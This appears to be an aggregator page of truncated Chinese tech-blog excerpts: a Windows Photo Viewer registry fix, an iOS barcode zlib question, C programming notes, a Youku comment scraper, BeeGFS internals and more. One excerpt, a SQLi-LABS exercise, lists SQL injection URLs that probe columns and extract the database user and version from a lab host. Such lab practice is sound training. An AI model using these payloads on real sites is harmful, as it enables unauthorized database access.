5c

Windows 10使用Windows7图片查看器浏览图片

烂漫一生 提交于 2020-02-14 09:20:34
Windows7服役即将结束,届时将停止操作系统更新及安全补丁的下发。笔者也在常识习惯Windows10开发环境。 Windows 7的图片浏览器大家应该很熟悉,可是到Windows10,图片就使用画板打开了。这让人不太习惯,如下 网上有比较多的教程鼓励大家编辑Windows注册表,Windows注册表是操作系统的核心数据库,编辑起来有风险, 而且不适合小白,于是笔者从网上找到一些比较完整的注册表脚本供大家使用,简单快捷安全,注册表导入中途有任何错误忽略即可。 w10-wpv-restore.reg (可下载) Windows Registry Editor Version 5.00 ;Restores Windows Photo Viewer to Default Programs in Windows 10 ;Includes complete association settings for file types handled by Windows Photo Viewer ;http://www.winhelponline.com/blog [HKEY_LOCAL_MACHINE\SOFTWARE\RegisteredApplications] "Windows Photo Viewer"="Software\\Microsoft\\Windows Photo

zlib streams in iOS 11 Vision Framework barcodes sometimes decompress, sometimes don't

自作多情 提交于 2019-12-18 05:13:12
问题 I'm working on a barcode scanner app (Swift 3+) that uses the new Vision Framework in iOS 11, specifically VNBarcodeObservation and barcodeDescriptor. The barcodes are Aztec barcodes of format ETF-918.3 and contain binary data, some of which (usually starting at offset 68) is a zlib stream. I can scan the barcode, get the observation, the CIAztecCodeDescriptor and its errorCorrectedPayload . I have picked 3 Examples to illustrate the weird behavior exhibited when errorCorrectedPayload is

SQLi-LABS Page-2 (Adv Injections) Less30-Less35

橙三吉。 提交于 2019-12-17 21:31:16
Less-30 GET - BLIND - IMPIDENCE MISMATCH- Having http://10.10.202.112/sqli/Less-30?id=1" #false http://10.10.202.112/sqli/Less-30?id=1"--+ #true http://10.10.202.112/sqli/Less-30?id=1" order by 4--+ #false http://10.10.202.112/sqli/Less-30?id=1" order by 3--+ #true http://10.10.202.112/sqli/Less-30?id=-1" +UNION+ALL+SELECT+1,2,3--+ http://10.10.202.112/sqli/Less-30?id=-1" +UNION+ALL+SELECT+1,user(),version()--+ Less-31 GET - BLIND - IMPIDENCE MISMATCH- Having http://10.10.202.112/sqli/Less-31?id=1" Warning : mysql_fetch_array() expects parameter 1 to be resource, boolean given in C:

日常笔记5C/C++一些基础细节

你说的曾经没有我的故事 提交于 2019-12-04 15:11:54
一、变量数据类型 int 大致范围:-2 10^9~2 10^9 long long 大致范围:-9 10^18~9 10^18,对于长整型来说,如果赋值大于2^31-1的初值,就需要在初值后面加上 LL ,否则会编译错误。 float 单精度大致范围:小数点后6~7位 double 双精度大致范围:小数点后15~16位 char 字符型大致范围:-128~127 0~9、A~Z、a~z的ASCII码值分别是48~57、65~90、97~122 不可以使用定义好的数组名,直接进行赋值会报错,如果要赋值带上下标。同时,字符串和字符的单双引号,一定要区别开来。 布尔型变量,在C++中可以直接使用,如果在C语言中使用必须添加stdbool.h头文件。 define pi 3.14,注意后面没有分号,也可以使用const double pi = 3.14; 二、输入输出格式问题 scanf: int : %d 是以空白符即空格、换行为结束判断标志的 long long : %lld float : %f double : %lf char : %c ,%c格式是可以读入空格和换行的 字符串(char数组) :%s 字符数组使用%s读入的时候以空格和换行行为作为结束标志的 特别注意在scanf中除了char数组整个输入的情况不加&之外,其他变量类型都需要加& printf:

‘大案牍术’告诉你为什么《长安十二时辰》这么火!

岁酱吖の 提交于 2019-11-30 12:36:58
注:本人参考猪哥公众号“裸睡的猪”公众号爬虫文章。 一、功能描述 想用我们现代的 大案牍术 来分析一下《长安十二时称》这部电视剧到底为什么会火,大家都对这部电视剧的评价是什么样的?(所有弹幕最高频的900个词) 二、技术方案 1、分析优酷弹幕的加载方式然后使用requests库爬取 2、抓取整部剧所有集的所有弹幕 3、重点做数据清洗,比如:剧情、人名、高能君弹幕等等 4、将弹幕做成词云 三、技术实现 1、分析并获取弹幕接口的url ①打开优酷网站,点击电视剧播放,在页面鼠标右键选择检查(或F12),调出浏览器的调试窗口。 ②复制任意一条弹幕,然后点击调试窗口按Control+F进行搜索! ③点击该请求的 Headers 按钮,查看请求url,并且注意请求头中的 Referer 和 User-Agent 参数。 通过上面的步骤,我们就可以轻松加愉快的获取到弹幕加载的url https://service.danmu.youku.com/list?jsoncallback=jQuery111208275429479734884_1569416025133&mat=0&mcount=1&ct=1001&iid=1061156738&aid=322943&cid=97&lid=0&ouid=0&_=1569416025149 2、爬取弹幕数据 URL找到之后我们便可以开始coding了

zlib streams in iOS 11 Vision Framework barcodes sometimes decompress, sometimes don't

三世轮回 提交于 2019-11-29 08:12:33
I'm working on a barcode scanner app (Swift 3+) that uses the new Vision Framework in iOS 11, specifically VNBarcodeObservation and barcodeDescriptor . The barcodes are Aztec barcodes of format ETF-918.3 and contain binary data, some of which ( usually starting at offset 68 ) is a zlib stream. I can scan the barcode, get the observation, the CIAztecCodeDescriptor and its errorCorrectedPayload . I have picked 3 Examples to illustrate the weird behavior exhibited when errorCorrectedPayload is compared to the sample data. The sample data decompresses just fine in all 3 cases. The links go to

BeeGFS元数据组织方式和路径寻址分析

≯℡__Kan透↙ 提交于 2019-11-29 08:04:30
元数据根节点的确定和获取 管理节点处理元数据节点的心跳信息时,如果发现目前没有Root节点,则会在已经注册的节点中选择ID最小的那个注册为元数据Root节点(这些信息最后都会保存在磁盘上): // fhgfs_mgmtd\source\components\HeartbeatManager.cpp /** * @param rootIDHint empty string to auto-define root or a nodeID that is assumed to be the root * @return true if a new root node has been defined */ bool HeartbeatManager::initRootNode(NumNodeID rootIDHint, bool rootIsBuddyMirrored) { // be careful: this method is also called from other threads // note: after this method, the root node might still be undefined (this is normal) bool setRootRes = false; if( (rootIDHint != 0) || (metaNodes-

注册Apple ID (USA)

。_饼干妹妹 提交于 2019-11-27 02:22:10
https://m.baidu.com/sf?pd=video_page&atn=index&sign=7311233033139648436&word=%E6%80%8E%E4%B9%88%E6%B3%A8%E5%86%8C%E7%BE%8E%E5%9B%BD%E8%8B%B9%E6%9E%9Cid&oword=%E6%80%8E%E4%B9%88%E6%B3%A8%E5%86%8C%E7%BE%8E%E5%9B%BD%E8%8B%B9%E6%9E%9Cid&title=%E3%80%90%E9%BB%91%E9%A9%AC%E5%85%AC%E7%A4%BE070%E3%80%91%E6%95%99%E4%BD%A0%E6%B3%A8%E5%86%8C%E7%BE%8E%E5%9B%BD%E5%8C%BAApple%20ID&alr=1&openapi=1&resource_id=5052&frsrcid=38448&frsrcid=38448&cambrian_id=1614751609584809&sp=0&ext=%7B%22src%22%3A%22https%3A%5C%2F%5C%2Fvdse.bdstatic.com%5C%2F%5C%2F7a46d131b8b67d3a0a00a76f2eae911a.mp4%3Fauthorization%3Dbce-auth

5C语言内存分区

梦想的初衷 提交于 2019-11-26 02:37:01
1)代码区:可执行程序代码存放区,这个我们不用关心; 2)全局区: 1全局与静态变量区:存放全局变量与静态变量,又可以区分为已经初始化的全局变量和静态变量区以及为初始化的全局变量和静态变量区; 2常量区:字符串常量与const修饰的常量存放在常量区; 3)堆区:用户动态申请的内存区,需要用户进行释放,否则有可能会造成内存泄漏; 4)栈区:该区内存由系统自动分配和释放,存放局部变量以函数实参等。 1全局区分析 看一段代码: char *get_str() { char *p="abcd";//文字常量区 return p; } char *get_str1() { char *q="abcd";//文字常量区 return q; } int main() { char *p=NULL; char *q=NULL; p=get_str(); q=get_str1(); //%s,打印指针指向内存区域的内容 //%d打印p本身的值 printf("p=%s,p=%d\n",p,p); printf("q=%s,q=%d\n",q,q); return 0; } 运行结果: 原因: 看图,从主函数main开始,在栈区定义了两个指针变量p、q为空,占4个字节; 下面调用get_str();函数返回地址,在get_str();函数中又定义了一个p这个p给主函数中的p目前没有关系,在get